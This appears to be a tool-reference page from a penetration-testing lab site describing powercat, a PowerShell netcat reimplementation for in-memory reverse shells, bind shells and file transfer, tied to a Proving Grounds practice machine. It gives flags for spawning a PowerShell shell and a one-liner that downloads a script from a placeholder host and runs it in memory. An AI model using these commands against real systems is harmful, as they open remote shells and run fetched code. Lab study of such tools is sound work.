the_open_door
coffee
ESEN
← Tools

powercat

PowerShell netcat for in-memory reverse shells.

A netcat reimplementation in PowerShell. It loads in memory and is used for reverse shells, bind shells and file transfer on Windows without relying on an nc.exe on disk.

Family Access, shells & transfer

Flags -c -p -e powershell

Cheatsheet Reverse shells

Installation

IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/powercat.ps1')

Useful commands3 commands

Appears in

Some machines where its use is documented; not an exhaustive list.

  • CraftProving Grounds Practice